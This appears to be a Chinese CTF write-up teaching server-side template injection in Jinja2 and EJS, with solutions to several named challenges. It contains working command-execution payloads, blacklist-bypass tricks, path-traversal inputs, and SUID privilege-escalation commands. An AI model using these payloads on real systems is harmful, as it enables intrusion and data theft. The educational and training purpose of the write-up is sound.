服务端模板注入(SSTI) SSTI(Server-Side Template Injection) 是一种发生在 服务端 的代码注入攻击
模板 :在 Web 开发中,模板是一种文件(如 HTML),它包含固定的部分(如页面布局)和动态的“占位符”。这些占位符会在服务器端被真实的数据替换,从而生成最终的 HTML 页面发送给用户
模板引擎 :是用于处理模板的程序。它接收模板文件和数据,然后将数据填充到模板的占位符中,生成最终的 HTML
当一个应用程序将 用户输入 直接拼接到了模板中,并且没有进行适当的过滤处理时,攻击者就可以输入一段恶意的模板代码。服务器在渲染模板时,会将这些恶意代码当作模板指令来执行
Jinja2模板引擎(Python)注入 目前我遇到的极大多数题目都是python的后端jinja2引擎渲染的
实现原理 我们来看一个最简单的注入payload,它执行的命令读取了/app/flag文件并返回在页面中
{{'' .__class__.__base__.__subclasses__()[133 ].__init__.__globals__["popen" ]('cat /app/flag' ).read()}}
.__class__是一个属性,它属于 Python 中每一个对象,这个属性的作用是:返回该对象所属的类。在这里,它返回的是''这个空字符所属的类,如果单独执行,页面会返回<class 'str'>,说明它属于str类
.__base__ 是一个属性,它属于一个类(注意,是类,不是对象),这个属性的作用是:返回该类直接继承的父类。这里就是返回<class 'str'>的父类,单独执行会返回<class 'object'>,说明<class 'str'>继承于<class 'object'>
.__subclasses__[133] 是一个方法,用于获取某个类的所有直接子类,它返回一个列表,包含所有继承自该类的子类对象,后面的[133]表示访问第134个对应的子类,题目环境中单独执行会返回<class 'os._wrap_close'>
<class 'os._wrap_close'>类的意义是作为访问系统级功能的跳板和桥梁,获取所有 os 模块的函数
.__init__这一部分通过属性访问的方式获取了一个函数对象也就是.__init__本身,这一步是为满足.__globals__的访问条件(只有函数对象才有 __globals__ 属性),单独访问的回显是<function _wrap_close.__init__ at 0x7f32e4975af0>,说明已经成功访问到了,内存地址是0x7f32e4975af0
.__globals__是在访问这个函数对象的globals属性,这基本上相当于获得了整个 os 模块的完整访问权限,单独使用获得会获得一个庞大的字典
['popen']是在通过键名索引获取这个函数,单独使用返回<function popen at 0x7f3d170639d0>代表成功获取('cat /flag')则是我们读取flag的命令,返回的是一个类文件对象,比如此处输出应该是<os._wrap_close object at 0x7f3d15552430>
.read()是一个方法,用于从文件对象或类文件对象中读取数据,此处用于读取命令的输出,返回flag{······},此时便完成了SSTI注入的整一个流程
类似的,以下payload也可能实现一定功能
{{'' .__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__' ]['eval' ]('__import__("os").popen("ls /").read()' )}} //利用__builtins__函数字典中的eval 函数执行python代码 {{'' .__class__.__base__.__subclasses__()[X].__init__.__globals__['os' ].popen('ls /' ).read()}} //直接调用os模块 {{'' .__class__.__base__.__subclasses__()[133 ].__init__.__globals__['linecache' ].os.popen('ls /' ).read()}} //借用linecache模块间接调用os模块
绕过
真正做题哪有那么容易,出题人会设置各种各样的waf刁难你
过滤器
过滤器函数
作用
length()
获取一个序列或字典的长度并将其返回
int()
将值转换成int类型
float()
将值转换成float类型
lower()
将字符串转换成小写
upper()
将字符串转换为大写
reverse()
反转字符串
replace(value,old,new)
将value中的old替换为new
list()
将变量转换成列表类型
string()
将变量(键值)转换成字符串类型
join()
将一个序列中的键拼接成字符串,通常有python内置的dict()配合使用
attr()
获取对象的属性
过滤双花括号 以下大量借鉴SSTI漏洞利用及绕过总结(绕过姿势多样)
可将{{ }}使用{% %}绕过
{% print ('' .__class__.__base__.__subclasses__()[X].__init__.__globals__['popen' ]('cat /flag' ).read()) %}
{{ }}:用于输出表达式的结果{% %}:用于执行语句和控制流程
过滤[ ] 魔术方法__getitem__可代替中括号
{{ '' .__class__.__base__.__subclasses__().__getitem__(X).__getitem__('popen' )('cat /flag' ) }}
过滤''、"" 当单双引号被过滤后,可以使用get或者post传参输入需要带引号的内容
{{ ().__class__.__base__.__subclasses__()[X].__init__.__globals__[request.args.popen](request.args.cmd).read() }} 同时get传参?popen=popen&cmd=cat /flag {{ ().__class__.__base__.__subclasses__()[X].__init__.__globals__[request.form.popen](request.form.cmd).read() }} 同时post传参?popen=popen&cmd=cat /flag
也可以对globals字典构造(几乎所有的符号都可以找到)
过滤_ 当下划线被过滤后,可以使用过滤器输入下划线
{% set a=(()|select|string|list )|attr(po)(X) %} //在列表中选中'_' 即可
或者分开传参
{{ ()|attr(request.form.p1)|attr(request.form.p2)|attr(request.form.p3)()|attr(request.form.p4)(X)|attr(request.form.p5)|attr(request.form.p6)|attr(request.form.p7)('popen' )('cat /flag' )|attr('read' )() }} 同时post传参p1=__class__&p2=__base__&p3=__subclasses__&p4=__getitem__&p5=__init__&p6=__globals__&p7=__getitem__
或者进行16位编码
{{ ()['\x5f\x5fclass\x5f\x5f' ]['\x5f\x5fbase\x5f\x5f' ]['\x5f\x5fsubclasses\x5f\x5f' ]()[X]['\x5f\x5finit\x5f\x5f' ]['\x5f\x5fglobals\x5f\x5f' ]['popen' ]('cat /flag' ).read() }}
过滤. 使用中括号绕过
{{ ()['__class__' ]['__base__' ]['__subclasses__' ]()[X]['__init__' ]['__globals__' ]['popen' ]('cat /flag' )['read' ]() }}
也可以使用过滤器arrt()函数绕过
{{ ()|attr('__class__' )|attr('__base__' )|attr('__subclasses__' )()|attr('__getitem__' )(X)|attr('__init__' )|attr('__globals__' )|attr('__getitem__' )('popen' )('cat /flag' )|attr('read' )() }}
过滤关键字 +号拼接绕过
或使用Jinjia2的~号拼接
{% set a='__cl' %}{% set b='ass__' %}{% set c='__ba' %}{% set d='se__' %}{{ ()[a~b][c~d] }}
reverse()过滤器绕过
{% set a='__ssalc__' |reverse %}{{ ()[a] }}
join()过滤器绕过
{% set a=dict (__cl=a,ass__=a)|join %}{{ ()[a] }}
十六进制等编码亦可
过滤config {{ url_for.__globals__['current_app' ].config }} {{ get_flashed_messages.__globals__['current_app' ].config }}
获取特殊符号 {% set a=(lipsum|string|list ) %} a[1 ]为小于号,a[9 ]为空格,a[18 ]为下划线
[极客大挑战2025]ez_read
规矩二蛊都抱怨起来:“人啊,我们老早就告诉过你。我们的名字你最好一个人知晓,不要让其他存在知道。否则我们就要为别的存在所用了。 现在好了吧,智慧蛊已经知道了我们的名字,事情麻烦了。”
登录靶机,注册账号正式开始看题(前面登录并没有什么可以操作地方
读取故事页给了一个读取文件的接口,还有几个样例文件可以读,其中的3.txt里面有提示坚持下坚持下去去,可以发现是重写绕过 ,在接口尝试路径穿越../flag会报错文件不存在: flag,看到把../进行了过滤,但是结合hint,可以重写进行路径穿越,比如..././flag,此时报错变成了文件不存在: ../flag,原因在于系统一次性配对了所有../进行了清楚,但是没有进行二次检查,导致重新拼接后的字符串再一次拼凑出了../
还有比较曲折的办法是用绝对路径,放这里当是熟悉Linux文件结构了,访问/ect/passwd**( Linux/Unix 系统中的用户账户信息文件)**会有如下回显
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin ctf:x:1000:1000::/opt/___web_very_strange_42___:/bin/sh
文件的最后一行有一个特殊用户ctf,它的家目录很奇怪,可以先锁定这个目录
尝试查询/proc/self/cmdline(Linux 系统中一个特殊的虚拟文件,它提供了当前进程的完整命令行信息) ,会有以下回显
结合两次回显,直接用绝对路径访问/opt/___web_very_strange_42___/app.py也可以读源码
可以利用路径遍历去寻找源码,尝试多次使用..././app.py即可读取源码
from flask import Flask, request, render_template, render_template_string, redirect, url_for, sessionimport osapp = Flask(__name__, template_folder="templates" , static_folder="static" ) app.secret_key = "key_ciallo_secret" USERS = {} def waf (payload: str ) -> str : print (len (payload)) if not payload: return "" if len (payload) not in (114 , 514 ): return payload.replace("(" , "" ) else : waf = ["__class__" , "__base__" , "__subclasses__" , "__globals__" , "import" ,"self" ,"session" ,"blueprints" ,"get_debug_flag" ,"json" ,"get_template_attribute" ,"render_template" ,"render_template_string" ,"abort" ,"redirect" ,"make_response" ,"Response" ,"stream_with_context" ,"flash" ,"escape" ,"Markup" ,"MarkupSafe" ,"tojson" ,"datetime" ,"cycler" ,"joiner" ,"namespace" ,"lipsum" ] for w in waf: if w in payload: raise ValueError(f"waf" ) return payload @app.route("/" ) def index (): user = session.get("user" ) return render_template("index.html" , user=user) @app.route("/register" , methods=["GET" , "POST" ] ) def register (): if request.method == "POST" : username = (request.form.get("username" ) or "" ) password = request.form.get("password" ) or "" if not username or not password: return render_template("register.html" , error="用户名和密码不能为空" ) if username in USERS: return render_template("register.html" , error="用户名已存在" ) USERS[username] = {"password" : password} session["user" ] = username return redirect(url_for("profile" )) return render_template("register.html" ) @app.route("/login" , methods=["GET" , "POST" ] ) def login (): if request.method == "POST" : username = (request.form.get("username" ) or "" ).strip() password = request.form.get("password" ) or "" user = USERS.get(username) if not user or user.get("password" ) != password: return render_template("login.html" , error="用户名或密码错误" ) session["user" ] = username return redirect(url_for("profile" )) return render_template("login.html" ) @app.route("/logout" ) def logout (): session.clear() return redirect(url_for("index" )) @app.route("/profile" ) def profile (): user = session.get("user" ) if not user: return redirect(url_for("login" )) name_raw = request.args.get("name" , user) try : filtered = waf(name_raw) tmpl = f"欢迎,{filtered} " rendered_snippet = render_template_string(tmpl) error_msg = None except Exception as e: rendered_snippet = "" error_msg = f"渲染错误: {e} " return render_template( "profile.html" , content=rendered_snippet, name_input=name_raw, user=user, error_msg=error_msg, ) @app.route("/read" , methods=["GET" , "POST" ] ) def read_file (): user = session.get("user" ) if not user: return redirect(url_for("login" )) base_dir = os.path.join(os.path.dirname(__file__), "story" ) try : entries = sorted ([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))]) except FileNotFoundError: entries = [] filename = "" if request.method == "POST" : filename = request.form.get("filename" ) or "" else : filename = request.args.get("filename" ) or "" content = None error = None if filename: sanitized = filename.replace("../" , "" )//可以看到这里只进行了一次匹配替换 target_path = os.path.join(base_dir, sanitized) if not os.path.isfile(target_path): error = f"文件不存在: {sanitized} " else : with open (target_path, "r" , encoding="utf-8" , errors="ignore" ) as f: content = f.read() return render_template("read.html" , files=entries, content=content, filename=filename, error=error, user=user) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=8080 , debug=False )
看出来是SSTI注入,源码的重点在
if len (payload) not in (114 , 514 ): return payload.replace("(" , "" ) else : waf = ["__class__" , "__base__" , "__subclasses__" , "__globals__" , "import" ,"self" ,"session" ,"blueprints" ,"get_debug_flag" ,"json" ,"get_template_attribute" ,"render_template" ,"render_template_string" ,"abort" ,"redirect" ,"make_response" ,"Response" ,"stream_with_context" ,"flash" ,"escape" ,"Markup" ,"MarkupSafe" ,"tojson" ,"datetime" ,"cycler" ,"joiner" ,"namespace" ,"lipsum" ] for w in waf: if w in payload: raise ValueError(f"waf" )
当name传参的字符串长度不为114或514时,它会删除内容中所有的左括号,当长度等于114或514时,则会进行waf黑名单过滤,尝试绕过左括号是不可能的,这里只能进行黑名单绕过
接下来研读@marin 师傅搓的payload
{% set po=dict (po=a,p=a)|join %} {% set a=(()|select|string|list )|attr(po)(24 ) %} {% set ini=(a,a,dict (in =a,it=a)|join,a,a)|join %} {% set glo=(a,a,dict (glo=a,bals=a)|join,a,a)|join %} {% set getitem=(a,a,dict (get=a,item=a)|join,a,a)|join %} {% set popen=dict (popen=a)|join %} {% set read=dict (read=a)|join %} {% set o=dict (os=a)|join %} {% set cmd=(request.values.a) %} {{ (url_for|attr(glo))|attr(getitem)(o)|attr(popen)(cmd)|attr(read)() }}11111111111111111111111111111111111111111111111111111111111111111111111 //字符长度为514
{% set po=dict (po=a,p=a)|join %}
这里创建了一个变量p,dict(po=a,p=a)创建了一个字典,然后利用|join过滤器将键名拼接返回字符串,最后p=pop
{% set a=(()|select|string|list )|attr(po)(24 ) %}
在 Jinja2 中使用 select 过滤器获得生成器对象,输出类似于<generator object select_or_reject at 0x7f8334407e20>,可以利用这个构建"_"
当有效输入为{% set a=(''|select|string|list) %}{% print a %}时,页面的有效回显是
['<' , 'g' , 'e' , 'n' , 'e' , 'r' , 'a' , 't' , 'o' , 'r' , ' ' , 'o' , 'b' , 'j' , 'e' , 'c' , 't' , ' ' , 's' , 'e' , 'l' , 'e' , 'c' , 't' , '_' , 'o' , 'r' , '_' , 'r' , 'e' , 'j' , 'e' , 'c' , 't' , ' ' , 'a' , 't' , ' ' , '0' , 'x' , '7' , 'f' , '8' , '3' , '3' , '4' , '4' , '0' , '7' , 'b' , 'e' , '0' , '>' ]
利用前面构建的pop函数提取序号为24的字符就完成了下划线的构建
{% set ini=(a,a,dict (in =a,it=a)|join,a,a)|join %} {% set glo=(a,a,dict (glo=a,bals=a)|join,a,a)|join %} {% set getitem=(a,a,dict (get=a,item=a)|join,a,a)|join %} {% set popen=dict (popen=a)|join %} {% set read=dict (read=a)|join %} {% set o=dict (os=a)|join %}
此处构建了__init__、__globals__、__getitem__、popen、read和os,原理同第一条
{% set cmd=(request.values.a) %}
创建变量cmd,它的值等于GET传入的参数a的值
{{ (url_for|attr(glo))|attr(getitem)(o)|attr(popen)(cmd)|attr(read)() }}
此处已等价于{{ (url_for|attr('__globals__'))|attr('__getitem__')(os)|attr('popen')(cmd)|attr('read')() }}
也相当于{{ url_for['__globals__']['__getitem__']('os')['popen'](cmd)['read']() }}
此时就可以进行命令执行了,传入payload和a=ls /,可以看到flag文件,尝试提取发现无回显,可能是需要提权 ,做题时可以用{{ cycler.__init__.__globals__['os'].environ }}查看全局变量,这里有一个提示'HINT': '用我提个权吧',接下来查找提权的文件,传入a=find / -user root -perm -4000 -print 2>/dev/null,回显
/usr/bin/su /usr/bin/gpasswd /usr/bin/chfn /usr/bin/chsh /usr/bin/umount /usr/bin/newgrp /usr/bin/passwd /usr/bin/mount /usr/local/bin/env
结合在环境变量读到的hint,利用/usr/local/bin/env进行提权,传入a=/usr/local/bin/env cat /flag即可
SYC{D0nt_m@ke_w1sdom_awar3_of_Rules_019aa4645e167e239a74402217bba8d1}
[Aurora CTF 2025]戈达尔的剧本工厂
hint:本题只考察一个漏洞。能回显输入的内容,可能考察什么漏洞?根据测试结果和被waf的内容确定考察的漏洞吧
hint:这题中的Aurora{test_flag}是假的flag,真的flag在环境变量里
这是内部新生赛的题目,本题的Base64编码要求应该是防焚靖设计,但新生赛的时候还是焚靖一把梭了(乐,现决定正常复现一次
已经知道方向是Jinja2模板注入,{{7*7}}编码后传入回显49,测试几次后发现过滤了''、""、[]、{{}}、.和一些关键字(发现class被waf了,后面关键字索性都绕过了)
完整的payload是
{% set cla=dict (c=a,l=a,a=a,ss=a)|join %} {% set po=dict (po=a,p=a)|join %} {% set down=(lipsum|string|list )|attr(po)(18 ) %} //下划线 {% set clas=(down,down,cla,down,down)|join %} {% set bas=(down,down,dict (b=0 ,as =0 ,e=0 )|join,down,down)|join %} {% set sub=(down,down,dict (sub=0 ,cla=0 ,sse=0 ,s=0 )|join,down,down)|join %} {% set get=(down,down,dict (get=0 ,ite=0 ,m=0 )|join,down,down)|join %} {% set ini=(down,down,dict (ini=0 ,t=0 )|join,down,down)|join %} {% set glo=(down,down,dict (glo=0 ,bal=0 ,s=0 )|join,down,down)|join %} {% set pop=dict (pop=0 ,en=0 )|join %} {% set re=dict (re=0 ,ad=0 )|join %} {% set a=(lipsum|string|list )|attr(po)(9 ) %} //空格 {% set king=()|attr(clas)|attr(bas)|attr(sub)()|attr(get)(134 )|attr(ini)|attr(glo)|string|list |attr(po)(463 ) %} //斜杠 {% set ls=(dict (l=0 ,s=0 )|join,a,king)|join %} {% set env=dict (en=0 ,v=0 )|join %} {% set d=()|attr(clas)|attr(bas)|attr(sub)()|attr(get)(134 )|attr(ini)|attr(glo)|attr(get)(pop)(env)|attr(re)() %} {% print d %}
看着虽然比较复杂,但都是机械性的操作,而且此题不一定要到命令执行那一步,只要做到__globals__就可以看环境变量拿flag了
如果要到命令执行,调用popen时不能直接attr,因为我们访问的__globals__是一个字典,要用__getitem__读取,前面marin师傅是globals->os->popen,是从os模块里调用
无回显 有时题目会不展示代码执行结果或直接不回显,这时的处理方法包括但不限于外带、反弹shell、转移执行结果、打内存马,这里来看看操作成本较低的转移执行结果,参考自MoeCTF2025_Web_wp | Sa1ntCHENの小窝
[MoeCTF 2025]第二十二章 血海核心·千年手段 题目给了源码
from flask import Flask, request, render_template, render_template_stringapp = Flask(__name__) @app.route('/' ) def index (): if 'username' in request.args or 'password' in request.args: username = request.args.get('username' , '' ) password = request.args.get('password' , '' ) if not username or not password: login_msg = """ <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div> </div> """ else : login_msg = f""" <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-success'>Welcome: {username} </div></div> </div> """ render_template_string(login_msg) else : login_msg = "" return render_template("index.html" , login_msg=login_msg) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
我们无论输入什么,页面都会直接返回payload本身,要获取命令执行结果,这里可以新开一个我们能访问的页面,把执行结果写入一个文本中,payload是
{{ url_for.__globals__.__builtins__.__import__ ('os' ).makedirs('static' , exist_ok=True ) or url_for.__globals__.__builtins__.__import__ ('builtins' ).open ('static/read.txt' ,'w' ).write(url_for.__globals__.__builtins__.__import__ ('os' ).popen('ls /' ).read()) }}
逻辑是在当前目录新建一个子目录static,再新建一个文件read.txt,把ls /执行的结果写入其中,执行后访问http://127.0.0.1:51581/static/read.txt可以看到根目录下有flag文件,尝试cat失败,推测需要提权,利用find / -user root -perm -4000 -print 2>/dev/null查找具有管理员权限的文件
find / -user root -perm -4000 -print 2>/dev/null执行逻辑
-user root:文件的所有者必须是root用户
-perm -4000:查找设置了SUID位的文件,4000 是SUID(Set User ID)的八进制表示
-print:输出匹配文件的完整路径名
2>/dev/null:将标准错误输出重定向到 /dev/null,目的是隐藏权限拒绝等错误信息
后面确定/usr/bin/rev是提权的目标文件,但是不能直接用,@mervin 让我尝试ls /usr/bin/rev可以看到rev.c,查看原码
#include <unistd.h> #include <string.h> int main (int argc, char **argv) { for (int i = 1 ; i + 1 < argc; i++) { if (strcmp ("--HDdss" , argv[i]) == 0 ) { execvp(argv[i + 1 ], &argv[i + 1 ]); } } return 0 ; }
需要一个--HDdss才能正常提权,后续/usr/bin/rev --HDdss cat /flag就能成功提权拿flag了
moectf{5c0b28d8-19dc-1895-0844-fe45f6a3cddf}
EJS模板引擎(JavaScript)注入 [极客大挑战2025]Expression
这个程序员偷懒直接复制粘贴网上的代码连 JWT 密钥都不改..?
原题说和JWT有关,可以把密钥爆破出来,是secret,获得密钥后可以篡改cookie的数据,原始的JWT密钥解密出来有两个内容email和username,尝试将username属性改为admin,发现没用,后面的尝试方向也是管理员权限,导致方向一直都是偏的,就卡在这里了
后面听@晓堃 说是ejs模板注入,要获得的flag在环境变量里面,payload是
<%- global .process .mainModule .require ('child_process' ).execSync ('env' ) %>
执行逻辑
global.process.mainModule - 获取Node.js主模块
require('child_process') - 加载子进程模块
execSync('env') - 同步执行系统命令env(显示环境变量)
是第一次听说这玩意,但来都来了不妨看看是怎么个思路,后端服务器是nodejs写的,拉出来看看源码(做题的时候啥也没有,猜谜完了
const express = require ('express' ); const path = require ('path' ); const jwt = require ('jsonwebtoken' ); const cookieParser = require ('cookie-parser' ); const ejs = require ('ejs' ); const crypto = require ('crypto' ); const app = express (); const PORT = process.env .PORT || 3000 ; const JWT_SECRET = 'secret' ; const users = new Map (); app.use (express.urlencoded ({ extended : false })); app.use (express.json ()); app.use (cookieParser ()); app.set ('views' , path.join (__dirname, 'views' )); app.set ('view engine' , 'ejs' ); app.use ('/public' , express.static (path.join (__dirname, 'public' ))); function generateServerUsername ( ){ const suffix = crypto.randomBytes (6 ).toString ('hex' ); return `user_${suffix} ` ; } function signToken (payload ) { return jwt.sign (payload, JWT_SECRET , { algorithm : 'HS256' , expiresIn : '7d' }); } function requireAuth (req, res, next ) { const token = req.cookies .token ; if (!token) return res.redirect ('/' ); try { const decoded = jwt.verify (token, JWT_SECRET , { algorithms : ['HS256' ] }); req.user = decoded; next (); } catch (e) { return res.redirect ('/' ); } } app.get ('/' , (req, res ) => { const token = req.cookies .token ; let currentUser = null ; let renderedUsername; if (token) { try { currentUser = jwt.verify (token, JWT_SECRET ); try { renderedUsername = ejs.render (String (currentUser.username ), { user : currentUser, process }); } catch (e) { renderedUsername = currentUser.username ; } } catch (e) {} } res.render ('index' , { currentUser, renderedUsername });}); app.post ('/register' , (req, res ) => { const { email } = req.body ; if (!email || !/^[^@\n]+@[^@\n]+\.[^@\n]+$/ .test (email)) { return res.status (400 ).render ('index' , { error : 'Invalid email' , currentUser : null }); } if (users.has (email)) { return res.status (400 ).render ('index' , { error : 'Email already registered. Please login.' , currentUser : null }); } const username = generateServerUsername (); users.set (email, username); const token = signToken ({ email, username }); res.cookie ('token' , token, { httpOnly : true , sameSite : 'lax' }); return res.redirect ('/' );}); app.post ('/login' , (req, res ) => { const { email } = req.body ; if (!email || !/^[^@\n]+@[^@\n]+\.[^@\n]+$/ .test (email)) { return res.status (400 ).render ('index' , { error : 'Invalid email' , currentUser : null }); } if (!users.has (email)) { return res.status (400 ).render ('index' , { error : 'Email not found. Please register first.' , currentUser : null }); } const username = users.get (email); const token = signToken ({ email, username }); res.cookie ('token' , token, { httpOnly : true , sameSite : 'lax' }); return res.redirect ('/' ); }); app.get ('/logout' , (req, res ) => { res.clearCookie ('token' ); res.redirect ('/' ); }); app.listen (PORT , () => { console .log (`Server listening on http://127.0.0.1:${PORT} ` ); });
漏洞段代码
if (token) { try { currentUser = jwt.verify (token, JWT_SECRET ); try { renderedUsername = ejs.render (String (currentUser.username ), { user : currentUser, process }); } catch (e) { renderedUsername = currentUser.username ; } } catch (e) {} }
这里,currentUser.username 直接作为模板内容传入 ejs.render(),如果攻击者能够控制 JWT Token 中的 username 字段并写入恶意 EJS 模板代码,这些代码就会在服务器端执行
但是js一般作为前端语言使用,要想确认模板是否在后端渲染,可以使用
如果返回的是指令本身,那就是只在客户端渲染,没办法注入,如果返回的是时间代码,那就是在服务端渲染,就是ejs注入。就本题而言,传入后的回显是1763708518696,那就是后端渲染了